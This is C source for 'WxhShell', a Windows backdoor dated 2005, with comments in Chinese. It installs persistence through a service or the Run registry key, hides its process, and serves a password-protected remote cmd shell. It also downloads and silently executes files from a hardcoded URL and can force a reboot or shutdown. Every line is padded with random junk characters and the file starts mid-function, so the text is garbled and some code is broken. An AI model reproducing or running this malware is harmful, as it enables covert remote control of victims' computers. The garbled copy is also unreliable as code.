    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S1Od&v[R  
    else { /^k%sG@?  
    closesocket(wsh); A/UOcl+N  
    ExitThread(0); <;?1#ok  
    } #Y=b7|l  
    break; z~~pH9=c2  
    } &p_iAMn:9  
  // 获取shell n^l*oEl  
  case 's': { 6m(? (6+;K  
    CmdShell(wsh); _,aFQ^]'9  
    closesocket(wsh); a@|H6:|  
    ExitThread(0);  ,Zb  
    break; A[7H-1-  
  } -C~zvP; a  
  // 退出 PlS)Zv3  
  case 'x': { -qaO$M^Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0#8, (6  
    CloseIt(wsh); AzZhIhWl">  
    break; :Rv+Bm  
    } D]}~`SO  
  // 离开 h^Yh~84T  
  case 'q': { IO 0nT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1y1:<t  
    closesocket(wsh); 'kC#GTZi  
    WSACleanup(); #\^=3A|b  
    exit(1); phf{b+'#X  
    break; '/6f2[%Y"  
        } &I8DK).M+  
  } Wex2Fd?DO  
  } ED79a:  
U!c+i#:t  
  // 提示信息 A- Abj'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); quaRVD>s +  
} '<<@@.(f  
  } {^N,$,Ab.  
O#18a,o@  
  return; &g23tT#P?  
} WoGnJ0N q  
71P. 9Iz  
// shell模块句柄 ![r)KE=v8I  
int CmdShell(SOCKET sock) 0)b1'xt',  
{ "9aFA(H6w  
STARTUPINFO si; er-0i L@  
ZeroMemory(&si,sizeof(si)); H!X*29nX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /.!&d^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >yP> ]r+  
PROCESS_INFORMATION ProcessInfo; 9e>2kd  
char cmdline[]="cmd"; Vq`/]&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p=> +3  
  return 0; cQThpgha  
} O{\<Izm`D  
VBDb K|  
// 自身启动模式 uuF~+=.|  
int StartFromService(void) W% Lrp{  
{ =EA @  
typedef struct {Ke IYjE  
{ +$(y2F7|u-  
  DWORD ExitStatus; wA/!A$v(  
  DWORD PebBaseAddress; uuD2O )v  
  DWORD AffinityMask; \I4Uj.'> \  
  DWORD BasePriority; W?E,"z  
  ULONG UniqueProcessId; g4Dck4^!4  
  ULONG InheritedFromUniqueProcessId; ;R2A>f~  
}   PROCESS_BASIC_INFORMATION; h>[ qXz  
z(^dwMw}  
PROCNTQSIP NtQueryInformationProcess; .6 0yQ[aE  
NopfL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {c LWum[SY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  f-[.^/  
Ps\4k#aOv  
  HANDLE             hProcess; R_GA`U\ {  
  PROCESS_BASIC_INFORMATION pbi; -X%t wy=  
U"Bge\6x=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8,vP']4r%  
  if(NULL == hInst ) return 0; fSVM[  
# .(f7~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u^E0u^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ELMz~vp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E)jd>"  
Bd=K40Z:  
  if (!NtQueryInformationProcess) return 0; (,+#H]L  
'sa)_?Hy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #Y-_kQV*  
  if(!hProcess) return 0; *)^ ZUk  
d$+0 ;D4E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dJ])`S  
LCA+y1LP-_  
  CloseHandle(hProcess); V3VTbgF  
|r;>2b/ x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e<`?$tZ3   
if(hProcess==NULL) return 0; >Jn`RsuV  
lnjs{`^  
HMODULE hMod; "10\y{`v^  
char procName[255]; V62lN<M  
unsigned long cbNeeded; F 8sOc&L  
$J)`Ru6.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !qlk-0&`  
M3]eqxLC  
  CloseHandle(hProcess); bVN?7D(  
_]Ob)RUVH  
if(strstr(procName,"services")) return 1; // 以服务启动 qyKR]%yzi  
9yTkZ`M28  
  return 0; // 注册表启动 =1|p$@L`%  
} 55<!H-zt  
)*uotV  
// 主模块 ;WYz U`<g  
int StartWxhshell(LPSTR lpCmdLine) #sjGju"#_  
{ $kmY[FWu?  
  SOCKET wsl; l"X,[  
BOOL val=TRUE; &c&TQkx  
  int port=0; D^F=:-l m  
  struct sockaddr_in door; xpuTh"ED  
eA?|X|  
  if(wscfg.ws_autoins) Install(); T7/DH  
$;=?[Cn  
port=atoi(lpCmdLine); ?^7X2 u$nm  
$w-@Oa*h9U  
if(port<=0) port=wscfg.ws_port; 7MJ\*+T|03  
Ujvm|ml  
  WSADATA data; :cXN Fu\C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MuzQ z.C  
7AGUi+!ICl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wEI? 9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bv hV  
  door.sin_family = AF_INET; !e |Bi{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); })uyq_nz  
  door.sin_port = htons(port); t&5Ne ?  
?-`&YfF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OQ<;w  
closesocket(wsl); ze5#6Vzd&  
return 1; wCv9VvF`  
} *nHMQ/uf  
k_?OEkgUh  
  if(listen(wsl,2) == INVALID_SOCKET) { a7u*d`3X=  
closesocket(wsl); z}$.A9yn  
return 1; [GI2%uA0  
} sVmqx^-  
  Wxhshell(wsl); *u,&?fCl  
  WSACleanup(); I7Abf7>*Q  
5t_Dt<lIz  
return 0; 6iEg]FI  
@/$i -?E  
} !>Q\Y`a,*  
^vxNS[C`;  
// 以NT服务方式启动 ? }`mQ<~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xkSVD6Km  
{ YG0b*QBY~  
DWORD   status = 0; [Ran/D\.  
  DWORD   specificError = 0xfffffff; OBF-U]?Y  
toOdL0hCe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hV) `e"r\s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N;>s|ET  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; " L,9.b  
  serviceStatus.dwWin32ExitCode     = 0; q%vel.L]%  
  serviceStatus.dwServiceSpecificExitCode = 0; }K,3SO(:  
  serviceStatus.dwCheckPoint       = 0; P (Y\l  
  serviceStatus.dwWaitHint       = 0; [4dX[  
?`kZ6$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ; }ThBb3  
  if (hServiceStatusHandle==0) return; z" ?WT$  
 ]EQ*!  
status = GetLastError(); o :4#Ak S  
  if (status!=NO_ERROR) '`W6U]7>  
{ dShGIH?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D,=#SBJ:Z  
    serviceStatus.dwCheckPoint       = 0; lU$0e09  
    serviceStatus.dwWaitHint       = 0; A =&`TfXu  
    serviceStatus.dwWin32ExitCode     = status; Vr %ef:uVV  
    serviceStatus.dwServiceSpecificExitCode = specificError; eC6wrpZO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;7H^;+P  
    return; TK~KM  
  } 3QdCu<eBZ  
n3-VqYUP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4)'U!jSb  
  serviceStatus.dwCheckPoint       = 0; n)35-?R/M  
  serviceStatus.dwWaitHint       = 0; 44YKS>Cq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wfc~"GQq4  
} GWWaH+F[h  
}*qj,8-9  
// 处理NT服务事件,比如:启动、停止 "oF)u1_?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YGc:84S  
{ <Kl$ek8  
switch(fdwControl) C[#C/@  
{ 7~k=t!gTY  
case SERVICE_CONTROL_STOP: iY&I?o!Ch  
  serviceStatus.dwWin32ExitCode = 0; "{t]~urLd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?Drq!?3PDc  
  serviceStatus.dwCheckPoint   = 0; ###>0(n  
  serviceStatus.dwWaitHint     = 0; 8B(v6(h  
  { 5nsoWqnE8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x#R6Ez7  
  } 27$,D XD  
  return; r=54@`O!  
case SERVICE_CONTROL_PAUSE: Sw5-^2x0'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j4]3}t0q  
  break; h@(+(fVHrp  
case SERVICE_CONTROL_CONTINUE: x.] tGS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B##X94aTT  
  break; o[+t}hC[  
case SERVICE_CONTROL_INTERROGATE: qE]e+S?57a  
  break; HSAr6h  
}; !7MRHI/0C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,_,*I/o>B  
} pv-c>8Wb6  
KNj~7aTp  
// 标准应用程序主函数 jF/S2Ty2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .V3e>8gw3  
{ # h4FLF_w  
3T4HX|rC  
// 获取操作系统版本 Zzz94`  
OsIsNt=GetOsVer(); 257$ !  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (+/d*4  
ylQj2B,CB  
  // 从命令行安装 8Gnf_lkI  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;^E_BJm  
MtN!Xx  
  // 下载执行文件 ['sNk[-C  
if(wscfg.ws_downexe) { ;z N1Qb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,u)jZ7  
  WinExec(wscfg.ws_filenam,SW_HIDE); mZPvG  
} (j??  
a'dlA da  
if(!OsIsNt) { DZ\K7-  
// 如果时win9x,隐藏进程并且设置为注册表启动 h0g?=hJq  
HideProc(); 4K? \5(b  
StartWxhshell(lpCmdLine); =+ >>l0=_v  
}  [)~1Lu  
else ,-8 -Y>[  
  if(StartFromService()) &vn2u bauS  
  // 以服务方式启动 ?# _{h  
  StartServiceCtrlDispatcher(DispatchTable); N~l*//Ep  
else 6pbCQ q  
  // 普通方式启动 ugE!EEy[^  
  StartWxhshell(lpCmdLine); y RXWd*9  
[wnp]'+!  
return 0; ~QxW^DGa7]  
} ci$J?a  
c"Vp5lo0  
x-X~'p'f  
3,6f}:CG  
=========================================== OWT%XUW=  
?6`B;_m  
6L$KMYHE  
[YHtBM:y  
2b^Fz0 w4  
/w(g:e  
" ThI}~$Y  
09jE7g @X}  
#include <stdio.h> n-l_PhPQ`  
#include <string.h> 6uFw+Ya#  
#include <windows.h> tkr&Fs"t+  
#include <winsock2.h> vszm9Qf  
#include <winsvc.h> 7H< IO`  
#include <urlmon.h> Z/ jmi  
Rk3 bZvj3  
#pragma comment (lib, "Ws2_32.lib") >$L7J=Em  
#pragma comment (lib, "urlmon.lib") a{hc{  
V@#oQi*  
#define MAX_USER   100 // 最大客户端连接数 .7g h2K  
#define BUF_SOCK   200 // sock buffer prz COw  
#define KEY_BUFF   255 // 输入 buffer ~h;   
_ s3d$C?B  
#define REBOOT     0   // 重启 4Zwbu  
#define SHUTDOWN   1   // 关机 nv@z;#&  
 ,S=[#  
#define DEF_PORT   5000 // 监听端口 D^US2B  
|yeQz  
#define REG_LEN     16   // 注册表键长度 Dn 0L%?_   
#define SVC_LEN     80   // NT服务名长度 cVL|kYVWT  
rVNx 2  
// 从dll定义API gI;"PkN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;6[6~L%K}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L4m Vk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X%IqZ{ {  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '%[ Y  
8e*skL  
// wxhshell配置信息 m]>zdP+  
struct WSCFG { &3Zb?  
  int ws_port;         // 监听端口 aM;SE9/U  
  char ws_passstr[REG_LEN]; // 口令 [_(J8~ va  
  int ws_autoins;       // 安装标记, 1=yes 0=no /h+ W L  
  char ws_regname[REG_LEN]; // 注册表键名 B\c_GXUw  
  char ws_svcname[REG_LEN]; // 服务名 lTMY|{9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CE`]X;#y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^rVHaI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [:cD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2MRd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JVX)>2&$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <.n,:ir  
Qq`S=:}~x  
}; M0fN[!*z  
=6Ok4Z  
// default Wxhshell configuration /GO-  
struct WSCFG wscfg={DEF_PORT, .h=n [`RB  
    "xuhuanlingzhe", X+XDfEt:Q  
    1, 7s?#y=M  
    "Wxhshell", A[+)PkR  
    "Wxhshell", Hp=BnN  
            "WxhShell Service", A4,{ep'Z!  
    "Wrsky Windows CmdShell Service", FE!jN-#  
    "Please Input Your Password: ", h$'6."I  
  1, V ,p~,rC  
  "http://www.wrsky.com/wxhshell.exe", LVB wWlJ  
  "Wxhshell.exe" {k3ItGQ_  
    }; mxgT}L0i  
p6<JpW5@_  
// 消息定义模块 @@o J@;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =;0-t\w!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $M)i]ekm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Nz2 VaZ  
char *msg_ws_ext="\n\rExit."; nKm# kb  
char *msg_ws_end="\n\rQuit."; hE {";/}J  
char *msg_ws_boot="\n\rReboot..."; ,6{z  
char *msg_ws_poff="\n\rShutdown..."; Fa>f'VXx  
char *msg_ws_down="\n\rSave to "; e&z@yy$  
T-a>k.}y  
char *msg_ws_err="\n\rErr!"; v@%4i~N  
char *msg_ws_ok="\n\rOK!"; w&L~+ Z<  
wI|h9q1U  
char ExeFile[MAX_PATH]; N4+Cg t(  
int nUser = 0; v ^h:E  
HANDLE handles[MAX_USER]; Gf"TI:xa  
int OsIsNt; r5~ W/eE  
!ddyJJ^a  
SERVICE_STATUS       serviceStatus; oM!&S'M/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M)oKtiav*  
wmGcXBHt$  
// 函数声明 GmR3 a  
int Install(void); Kz42AC  
int Uninstall(void); G*N[tw  
int DownloadFile(char *sURL, SOCKET wsh); X=#us7W}  
int Boot(int flag); > mO*.'Gm  
void HideProc(void); AZQQge  
int GetOsVer(void); ar<8wq<4G  
int Wxhshell(SOCKET wsl); %N-aLw\  
void TalkWithClient(void *cs); Z>`\$1CI  
int CmdShell(SOCKET sock); ! eZls  
int StartFromService(void); $97O7j@  
int StartWxhshell(LPSTR lpCmdLine); n!z!fh  
6 ^3RfF^W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R)66qRf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @\&j3A  
CnB[ImMs(A  
// 数据结构和表定义 T]wI)  
SERVICE_TABLE_ENTRY DispatchTable[] = qhY+<S9  
{ l }/_(*  
{wscfg.ws_svcname, NTServiceMain}, !=:>yWQ  
{NULL, NULL} M]PZwW8  
}; ym{@w3"S  
!s-A`} s+  
// 自我安装 xJ$uoy3+  
int Install(void) HZAT_  
{ gttsxOgktH  
  char svExeFile[MAX_PATH]; `6VnL)  
  HKEY key; <5E'`T  
  strcpy(svExeFile,ExeFile); q?7''xk7  
g,\kLTg  
// 如果是win9x系统,修改注册表设为自启动 i)e6 U(H  
if(!OsIsNt) { )<V!lsUx'-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }3: mn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /=;,lC  
  RegCloseKey(key); dnLjcHFj&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eWDXV-xD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 73X*|g  
  RegCloseKey(key); 29J|eBvxx  
  return 0; *Vl#]81~  
    } fsjLD|?|:  
  } *}89.kCBF  
} !d()'N  
else { GG>53} 7{  
#k9&OS?  
// 如果是NT以上系统,安装为系统服务 fSbLkd 9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7#C$}1XJ1  
if (schSCManager!=0) \YzKEYx+  
{ @2"3RmYLo  
  SC_HANDLE schService = CreateService "^z%|uXkf  
  ( f0 g/`j@Up  
  schSCManager, (m2%7f.I  
  wscfg.ws_svcname, !LH;K  
  wscfg.ws_svcdisp, >Y4^<!\v  
  SERVICE_ALL_ACCESS, 75;RAKGi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XcoX8R%U  
  SERVICE_AUTO_START, E?+~S M1~  
  SERVICE_ERROR_NORMAL, B`QF;,3S  
  svExeFile, 3Y#  
  NULL, sP^:*B0  
  NULL, BaIpX<$T  
  NULL, =* 'yGB[x)  
  NULL, R^`}DlHX  
  NULL g"sb0d9  
  ); !7\dr )  
  if (schService!=0) =T3{!\tH  
  { Gs"lmX-{$j  
  CloseServiceHandle(schService); #8t=vb3  
  CloseServiceHandle(schSCManager); {P?Ge  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WY|~E%k  
  strcat(svExeFile,wscfg.ws_svcname); {s@!N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H9jlp.F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ij] ~n  
  RegCloseKey(key); @{qcu\sZ  
  return 0; P\ P=1NM  
    } &kd W(;`  
  } Uot(3p!S6  
  CloseServiceHandle(schSCManager); -ioO8D&!  
} 'exR;q\  
} %62|dhl6  
*8qRdI9  
return 1; "d/54PKWx  
} SLP $|E;  
Z .`+IN(>E  
// 自我卸载 v89tV9O)  
int Uninstall(void) c)Q-yPMl)  
{ dW/(#KP/+  
  HKEY key; :Hitx  
Se??E+aX  
if(!OsIsNt) { IH*G7;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U{EcV%C2  
  RegDeleteValue(key,wscfg.ws_regname); .vmCKZ  
  RegCloseKey(key); 1h(n}u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dn~k_J=p  
  RegDeleteValue(key,wscfg.ws_regname); 3J4OkwqD  
  RegCloseKey(key); *@lVesC2  
  return 0; rr1,Ijh{D  
  } -{L 7%j|R  
} @pvQci  
}  [Ketg  
else { %j2:W\g:  
toG- Dz&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :ldI1*@i<  
if (schSCManager!=0) uG.`  
{ 1N]-WCxQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V:D?i#%,z  
  if (schService!=0) Xa}y.qH  
  { FzsW^u+  
  if(DeleteService(schService)!=0) { !k 'E  
  CloseServiceHandle(schService); }e"2Nc_UG  
  CloseServiceHandle(schSCManager); AA|G &&1y  
  return 0; g$=']A?W_  
  } hsws7sH  
  CloseServiceHandle(schService); !9C]Fs*`?  
  } yF XPY=EQ  
  CloseServiceHandle(schSCManager); q|B.@Ng.  
} ;cv\v(0  
} X=Y>9  
@MH/e fW.  
return 1; $xcU*?=K  
} &fxyY (  
&~)1mnv.  
// 从指定url下载文件 a,t]>z95  
int DownloadFile(char *sURL, SOCKET wsh) KH$o X\v  
{ >y@3`u]  
  HRESULT hr; ,-1taS  
char seps[]= "/"; (aq^\#9btO  
char *token; |msQ  
char *file; @:u2{>Yl  
char myURL[MAX_PATH]; nza^<DlS  
char myFILE[MAX_PATH]; g;nPF*(  
rYA4(rYq  
strcpy(myURL,sURL); H?pWyc<,  
  token=strtok(myURL,seps); f;W>:`'  
  while(token!=NULL) yc$8X sns  
  { >\ym{@+*  
    file=token; u $T'#p1  
  token=strtok(NULL,seps); m}-~VYDj  
  } ""F' Nzy  
pdR&2fp  
GetCurrentDirectory(MAX_PATH,myFILE); ~Ywto  
strcat(myFILE, "\\"); 8!dA1]2;  
strcat(myFILE, file);  N5GQ2V  
  send(wsh,myFILE,strlen(myFILE),0); }qdGS<{  
send(wsh,"...",3,0); }~o>H a;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |(1z ?Spbe  
  if(hr==S_OK) FBK6{rLMc  
return 0; \Mod4tQ  
else bX]$S 5c_u  
return 1; @k2nID^>  
7b[vZNi_  
} !xh.S#B  
A&QO]8  
// 系统电源模块 1QH5<)Oa  
int Boot(int flag) W 7Y5~%@  
{ i(XqoR-x  
  HANDLE hToken; CVBy&o"6A  
  TOKEN_PRIVILEGES tkp; U ()36  
pVm'XP  
  if(OsIsNt) { w873: =  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cO !2|v8i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @RF !p  
    tkp.PrivilegeCount = 1; h"G#} C]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p1L8g[\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;M"JN:J8  
if(flag==REBOOT) { GoNX\^A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q\g|K3V)  
  return 0; pTlNJ!U>  
} J0M7f]  
else { n-n{+ Dl!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @(:M?AO9S.  
  return 0; RE(R5n28,  
} k%)QrRnB  
  } iWZrZ5l  
  else { a$SGFA}V  
if(flag==REBOOT) { Zg/ra1n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bm_'giQ:  
  return 0; wh@;$s"B  
} 'e;]\< 0z  
else { Rb~NX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wBUn*L  
  return 0; @e_ bG@  
} pAo5c4y!4  
} #B3P3\  
OFTyN^([@  
return 1; $Aw"?&d"  
}  cf#2Wg)  
R(sPU>`MX  
// win9x进程隐藏模块 *1fq:--  
void HideProc(void) f\}fUg 2  
{ FDA``H~  
1o. O]>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Quy&CV{@  
  if ( hKernel != NULL ) ]4m;NId  
  { ndn)}Z!0h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -rSp gk0wL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]kQ*t{\  
    FreeLibrary(hKernel); JgJ4RmH-  
  } >TT4;ph  
v&p|9C@  
return; &>zzR$#1  
} pPSmSWD?  
x78`dX  
// 获取操作系统版本 :nZVP_d+  
int GetOsVer(void)  x w8 e  
{ p0jQQg  
  OSVERSIONINFO winfo; wJs #rkW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N^\<y7x  
  GetVersionEx(&winfo); LD]a!eY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WdEVT,jjh  
  return 1; uOzol~TU)  
  else &eL02:[  
  return 0;  uIOnP  
} +yvtd]D$2W  
),ur! v  
// 客户端句柄模块 f3Zm_zxj  
int Wxhshell(SOCKET wsl) &M p??{g  
{ zPzy 0lx  
  SOCKET wsh; Ah5`Cnv  
  struct sockaddr_in client; $on"@l%U  
  DWORD myID; .ME>ICA  
!6Sr*a*5  
  while(nUser<MAX_USER) N8hiv'3  
{ 5G$N  
  int nSize=sizeof(client); z'=8U@P'#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h$p]M^Z7  
  if(wsh==INVALID_SOCKET) return 1; !&'GWQY{(  
=lB +GS%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g=)B+SY'  
if(handles[nUser]==0) b`a4SfbQS  
  closesocket(wsh); U"nk AW  
else = <yMB d\  
  nUser++; =35g:fL  
  } LqNt.d @  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PIk2mX/D_6  
kYbqb?  
  return 0; %r E:5)  
} Z^tTR]u\$  
O52B  
// 关闭 socket J,iS<lV_  
void CloseIt(SOCKET wsh) B*0TM+  
{ @c;XwU]2t  
closesocket(wsh); >:o$h2  
nUser--; I /2{I  
ExitThread(0); @:,B /B;  
} #VM+.75o1  
h^QLvOuR  
// 客户端请求句柄 ]rNM3@bVy  
void TalkWithClient(void *cs) ?04jkq&  
{ u[:-^H  
V^* ];`^  
  SOCKET wsh=(SOCKET)cs; /penB[ 1i  
  char pwd[SVC_LEN]; 6Qc *:(GE  
  char cmd[KEY_BUFF]; @\*`rl]  
char chr[1]; ;AH8/M B9  
int i,j; 2ezk<R5q+  
As{Q9o5j/  
  while (nUser < MAX_USER) { $?Km3N\?v  
"?*B2*|}`  
if(wscfg.ws_passstr) { j.]ln}b/'+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); | )No4fm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D6I-:{ws  
  //ZeroMemory(pwd,KEY_BUFF); tZXq<k9  
      i=0; iv!;gMco  
  while(i<SVC_LEN) {  .u3;  
dz6&TdEl  
  // 设置超时 "F[e~S#V*  
  fd_set FdRead; d[F3"b%  
  struct timeval TimeOut; 7_9^nDU  
  FD_ZERO(&FdRead); .DR*MQI9  
  FD_SET(wsh,&FdRead); X :#}E7]j  
  TimeOut.tv_sec=8; $6l^::U  
  TimeOut.tv_usec=0; oA*88c+{f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aCRiW;+'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]\1H=g%Ou  
{i<L<Y(3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K3*-lO:A9  
  pwd=chr[0]; H73 r3BH  
  if(chr[0]==0xd || chr[0]==0xa) { 5(>ux@[qI:  
  pwd=0; Q<Q?#v7NX  
  break; 7](aPm8  
  } v8"Zru  
  i++; .~a.mT  
    } HGao}@'  
lqcPV) n  
  // 如果是非法用户,关闭 socket *qA:%m3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $ba*=/{[q  
} *x/H   
m;J'y2h =$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ! GJT-[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]pWn%aGv*Y  
sis1Dh9:  
while(1) { l(pP*2  
lMmP]{.>$  
  ZeroMemory(cmd,KEY_BUFF); hZ|8mV  
'};mBW4z  
      // 自动支持客户端 telnet标准   7sU+:a  
  j=0; O!'gylj/  
  while(j<KEY_BUFF) { U]&/F{3 im  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mn 8| K nh  
  cmd[j]=chr[0]; x21XzGLY|}  
  if(chr[0]==0xa || chr[0]==0xd) { q8)w Al  
  cmd[j]=0; gDjAnz#  
  break; dG!)<  
  } #bS}?fj  
  j++; \('WS[$2  
    } u"F{cA!B  
oT!i}TW?o  
  // 下载文件 R"{P#U,HNO  
  if(strstr(cmd,"http://")) { BxiR0snf0q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g^{a;=  
  if(DownloadFile(cmd,wsh)) On(.(7sNc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zCS&w ~  
  else pI1g<pe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z6nQW53-  
  } P\h1%a/D  
  else { \'&,9lP  
j>5X^Jd  
    switch(cmd[0]) { KuF>2KX~Y  
  a{Y8 hR  
  // 帮助 iM$iZ;Tp  
  case '?': { +1a2Un  
